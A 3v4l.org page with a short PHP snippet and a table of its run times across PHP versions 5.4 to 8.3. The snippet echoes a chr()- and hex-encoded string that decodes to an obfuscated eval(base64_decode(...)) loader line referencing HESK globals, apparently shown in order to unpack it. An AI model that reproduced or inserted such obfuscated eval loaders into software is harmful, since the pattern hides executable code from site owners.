3v4l.org

run code in 300+ PHP versions simultaneously
<?php echo chr(36).chr(101).chr(44).chr(36). chr(115),chr(103).chr(108).chr(111).chr(98).chr(97).chr(108).chr(32).chr(36).chr(104). chr(101).chr(115).chr(107).chr(95).chr(115).chr(101).chr(116).chr(116).chr(105). chr(110).chr(103).chr(115).chr(44).chr(36).chr(104).chr(101).chr(115).chr(107). chr(108).chr(97).chr(110).chr(103).chr(59).chr(101).chr(118).chr(97).chr(108). chr(40).chr(112).chr(97).chr(99).chr(107).chr(40).chr(34).chr(72).chr(42).chr(34). chr(44).chr(34).chr(54).chr(53).chr(55).chr(54).chr(54).chr(49).chr(54).chr(99). chr(50).chr(56).chr(54).chr(50).chr(54).chr(49).chr(55).chr(51).chr(54).chr(53). chr(51).chr(54).chr(51).chr(52).chr(53).chr(102).chr(54).chr(52).chr(54).chr(53). chr(54).chr(51).chr(54).chr(102).chr(54).chr(52).chr(54).chr(53).chr(50).chr(56). chr(50).chr(52).chr(55).chr(51).chr(50).chr(101).chr(50).chr(52).chr(54).chr(53). chr(50).chr(57).chr(50).chr(57).chr(51).chr(98).chr(34).chr(41).chr(41).chr(59); echo '<br/>'; echo pack("H*","6576616c286261736536345f6465636f64652824732e246529293b");

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0110.00416.50
8.3.50.0100.00922.02
8.3.40.0140.00418.67
8.3.30.0100.01019.04
8.3.20.0040.00420.21
8.3.10.0060.00321.69
8.3.00.0030.00519.38
8.2.180.0130.01016.75
8.2.170.0190.00022.96
8.2.160.0100.00320.55
8.2.150.0040.00424.18
8.2.140.0080.00024.66
8.2.130.0040.00426.16
8.2.120.0080.00019.54
8.2.110.0100.01022.19
8.2.100.0040.00817.78
8.2.90.0050.00517.63
8.2.80.0030.00518.79
8.2.70.0000.00817.38
8.2.60.0050.00317.50
8.2.50.0000.00917.55
8.2.40.0050.00319.95
8.2.30.0050.00218.08
8.2.20.0040.00417.71
8.2.10.0040.00418.00
8.2.00.0040.00417.59
8.1.280.0070.01025.92
8.1.270.0080.00020.50
8.1.260.0050.00226.35
8.1.250.0000.00728.09
8.1.240.0090.00019.06
8.1.230.0090.00317.71
8.1.220.0050.00318.52
8.1.210.0050.00318.77
8.1.200.0040.00417.13
8.1.190.0000.00817.23
8.1.180.0000.00818.89
8.1.170.0040.00420.13
8.1.160.0000.00721.98
8.1.150.0070.00018.79
8.1.140.0050.00317.41
8.1.130.0040.00417.67
8.1.120.0030.00617.41
8.1.110.0030.00317.36
8.1.100.0030.00517.28
8.1.90.0070.00017.37
8.1.80.0000.00817.39
8.1.70.0050.00317.39
8.1.60.0030.00617.46
8.1.50.0040.00417.45
8.1.40.0090.00017.29
8.1.30.0000.00817.51
8.1.20.0050.00317.45
8.1.10.0040.00417.43
8.1.00.0070.00017.48
8.0.300.0040.00418.77
8.0.290.0030.00516.75
8.0.280.0030.00318.30
8.0.270.0070.00017.25
8.0.260.0030.00317.23
8.0.250.0000.00716.84
8.0.240.0060.00016.90
8.0.230.0000.00816.85
8.0.220.0070.00016.71
8.0.210.0030.00316.77
8.0.200.0000.00716.80
8.0.190.0030.00516.93
8.0.180.0040.00416.85
8.0.170.0000.00816.86
8.0.160.0030.00316.69
8.0.150.0050.00216.74
8.0.140.0060.00316.79
8.0.130.0040.00413.32
8.0.120.0060.00316.82
8.0.110.0040.00416.88
8.0.100.0070.00016.63
8.0.90.0050.00216.78
8.0.80.0090.01216.88
8.0.70.0040.00416.85
8.0.60.0040.00416.84
8.0.50.0040.00416.89
8.0.30.0080.01317.09
8.0.20.0110.00717.40
8.0.10.0000.00716.93
8.0.00.0080.00816.56
7.4.330.0020.00215.03
7.4.320.0000.00916.57
7.4.300.0030.00316.39
7.4.290.0000.00816.43
7.4.280.0060.00316.41
7.4.270.0030.00316.33
7.4.260.0030.00516.36
7.4.250.0000.00816.47
7.4.240.0040.00416.47
7.4.230.0050.00216.54
7.4.220.0070.01416.54
7.4.210.0100.00816.44
7.4.200.0040.00416.62
7.4.160.0200.00316.63
7.4.150.0100.01017.40
7.4.140.0110.00717.86
7.4.130.0060.01316.40
7.4.120.0100.00716.50
7.4.110.0120.00616.59
7.4.100.0060.01216.28
7.4.90.0110.00716.50
7.4.80.0100.00619.39
7.4.70.0070.01016.45
7.4.60.0060.00916.48
7.4.50.0040.00016.52
7.4.40.0050.01116.46
7.4.30.0100.01316.48
7.4.10.0130.00316.22
7.4.00.0060.00815.57
7.3.330.0000.00612.92
7.3.320.0100.00313.11
7.3.310.0000.00716.12
7.3.300.0000.00616.18
7.3.290.0070.00016.29
7.3.280.0070.01016.15
7.3.270.0060.01217.40
7.3.260.0100.00916.29
7.3.250.0080.01016.21
7.3.240.0170.00616.39
7.3.230.0030.01516.42
7.3.210.0000.01716.29
7.3.200.0100.01019.39
7.3.190.0030.01316.29
7.3.180.0090.00916.35
7.3.170.0030.01416.35
7.3.160.0060.01016.41
7.3.130.0110.00816.29
7.3.120.0060.01316.48
7.3.110.0040.01116.26
7.3.100.0060.01316.45
7.3.90.0040.01116.16
7.3.80.0070.01016.35
7.3.70.0080.00816.16
7.3.60.0030.00616.20
7.3.50.0000.01216.25
7.3.40.0110.00316.24
7.3.30.0060.00616.25
7.3.20.0070.00717.93
7.3.10.0030.01218.05
7.3.00.0030.01017.91
7.2.330.0070.01116.46
7.2.320.0100.00716.35
7.2.310.0030.01416.61
7.2.300.0140.00316.56
7.2.290.0110.01416.59
7.2.260.0090.00916.33
7.2.250.0060.01316.34
7.2.240.0040.01616.41
7.2.230.0080.00616.43
7.2.220.0110.00416.50
7.2.210.0040.00816.41
7.2.200.0000.01016.30
7.2.190.0030.01016.14
7.2.180.0030.00616.25
7.2.170.0000.01116.44
7.2.160.0000.01316.25
7.2.150.0080.00518.32
7.2.140.0040.01118.23
7.2.130.0070.00318.14
7.2.120.0070.00718.36
7.2.110.0030.00618.14
7.2.100.0030.01018.19
7.2.90.0030.01318.36
7.2.80.0070.01018.33
7.2.70.0090.00318.41
7.2.60.0090.00617.35
7.2.50.0120.00318.22
7.2.40.0110.00718.43
7.2.30.0040.00718.40
7.2.20.0130.00018.18
7.2.10.0070.00718.10
7.2.00.0070.01518.63
7.1.330.0130.00717.23
7.1.320.0030.00717.32
7.1.310.0060.00617.20
7.1.300.0030.01217.34
7.1.290.0050.00517.14
7.1.280.0060.00617.06
7.1.270.0030.01317.05
7.1.260.0040.01217.16
7.1.250.0060.00317.14
7.1.240.0000.00817.04
7.1.230.0110.00017.23
7.1.220.0000.00917.26
7.1.210.0070.00717.10
7.1.200.0100.00616.39
7.1.190.0060.00617.10
7.1.180.0070.00717.20
7.1.170.0110.00317.28
7.1.160.0100.00317.14
7.1.150.0060.00917.27
7.1.140.0000.00917.14
7.1.130.0090.00317.29
7.1.120.0040.00817.21
7.1.110.0040.00717.20
7.1.100.0090.00217.80
7.1.90.0070.01417.14
7.1.80.0000.01217.23
7.1.70.0030.00916.95
7.1.60.0090.00818.25
7.1.50.0070.01317.15
7.1.40.0080.01217.05
7.1.30.0090.00317.31
7.1.20.0120.00317.29
7.1.10.0030.01217.25
7.1.00.0080.04019.73
7.0.330.0080.00617.08
7.0.320.0000.00917.00
7.0.310.0060.00616.93
7.0.300.0050.00516.96
7.0.290.0000.00916.86
7.0.280.0060.00916.92
7.0.270.0090.00617.00
7.0.260.0100.00017.09
7.0.250.0080.00616.98
7.0.240.0030.01716.99
7.0.230.0000.01517.08
7.0.220.0000.01416.74
7.0.210.0030.00916.96
7.0.200.0400.00315.71
7.0.190.0060.00916.86
7.0.180.0000.01216.95
7.0.170.0070.01116.75
7.0.160.0120.00316.88
7.0.150.0030.01017.02
7.0.140.0050.03419.53
7.0.130.0060.00616.74
7.0.120.0070.00716.86
7.0.110.0000.00816.97
7.0.100.0050.04218.46
7.0.90.0020.04818.47
7.0.80.0080.04218.43
7.0.70.0050.04418.38
7.0.60.0060.04518.49
7.0.50.0110.03318.71
7.0.40.0100.03817.50
7.0.30.0020.02817.60
7.0.20.0050.03917.41
7.0.10.0080.04817.50
7.0.00.0060.04517.45
5.6.400.0040.01115.93
5.6.390.0090.00915.73
5.6.380.0000.00815.95
5.6.370.0100.00715.68
5.6.360.0060.00915.69
5.6.350.0080.00315.93
5.6.340.0000.00915.58
5.6.330.0030.00715.95
5.6.320.0070.01115.93
5.6.310.0090.00615.63
5.6.300.0050.00515.91
5.6.290.0110.00315.92
5.6.280.0020.04518.39
5.6.270.0060.00915.73
5.6.260.0060.01215.72
5.6.250.0060.04318.22
5.6.240.0070.04218.28
5.6.230.0050.04318.29
5.6.220.0050.03218.30
5.6.210.0130.03718.10
5.6.200.0090.04318.41
5.6.190.0100.03718.47
5.6.180.0030.05018.40
5.6.170.0020.04618.54
5.6.160.0080.04118.37
5.6.150.0020.04218.37
5.6.140.0080.04318.37
5.6.130.0100.03818.34
5.6.120.0020.04918.46
5.6.110.0050.02418.44
5.6.100.0100.04418.35
5.6.90.0070.05018.45
5.6.80.0080.04318.08
5.6.70.0020.04817.97
5.6.60.0080.04418.12
5.6.50.0120.04017.99
5.6.40.0140.03918.07
5.6.30.0080.04018.00
5.6.20.0050.04318.09
5.6.10.0050.04718.11
5.6.00.0050.04218.01
5.5.380.0020.04818.16
5.5.370.0010.04918.14
5.5.360.0050.04918.00
5.5.350.0090.04617.98
5.5.340.0100.03018.17
5.5.330.0050.04818.26
5.5.320.0080.04118.25
5.5.310.0030.04818.21
5.5.300.0050.03818.26
5.5.290.0030.05218.21
5.5.280.0070.04518.26
5.5.270.0080.03718.37
5.5.260.0110.04318.17
5.5.250.0130.02618.12
5.5.240.0050.04417.88
5.5.230.0070.04518.01
5.5.220.0060.04318.03
5.5.210.0080.04717.95
5.5.200.0070.04317.98
5.5.190.0080.02718.05
5.5.180.0080.04217.91
5.5.170.0070.00415.59
5.5.160.0070.04117.83
5.5.150.0120.03817.93
5.5.140.0140.03317.96
5.5.130.0100.04218.03
5.5.120.0050.04217.98
5.5.110.0060.04017.91
5.5.100.0090.03617.92
5.5.90.0090.04117.77
5.5.80.0080.04017.71
5.5.70.0030.04317.75
5.5.60.0070.04217.79
5.5.50.0050.04317.75
5.5.40.0050.03017.85
5.5.30.0060.03817.76
5.5.20.0090.03917.75
5.5.10.0070.04217.88
5.5.00.0050.03317.80
5.4.450.0020.04215.87
5.4.440.0070.03215.86
5.4.430.0080.03815.91
5.4.420.0080.03815.90
5.4.410.0020.03815.77
5.4.400.0020.04315.80
5.4.390.0000.04715.65
5.4.380.0080.03815.75
5.4.370.0050.04415.76
5.4.360.0060.04315.48
5.4.350.0030.04415.69
5.4.340.0110.03515.76
5.4.330.0000.00812.43
5.4.320.0070.04115.63
5.4.310.0060.04115.71
5.4.300.0080.03715.54
5.4.290.0070.02515.63
5.4.280.0040.04215.60
5.4.270.0030.04215.52
5.4.260.0080.03815.74
5.4.250.0080.03315.51
5.4.240.0030.04615.62
5.4.230.0070.03515.77
5.4.220.0030.04015.60
5.4.210.0020.04515.82
5.4.200.0050.02515.76
5.4.190.0080.03615.77
5.4.180.0140.02915.60
5.4.170.0050.04315.59
5.4.160.0080.02515.54
5.4.150.0000.04415.68
5.4.140.0030.04014.32
5.4.130.0030.03714.31
5.4.120.0070.03714.35
5.4.110.0050.04014.30
5.4.100.0120.03214.36
5.4.90.0050.04114.45
5.4.80.0030.04314.42
5.4.70.0020.03214.35
5.4.60.0060.03714.39
5.4.50.0050.03814.41
5.4.40.0050.03714.44
5.4.30.0050.03714.40
5.4.20.0100.03314.35
5.4.10.0030.02314.41
5.4.00.0060.04014.03

preferences:
45.3 ms | 401 KiB | 5 Q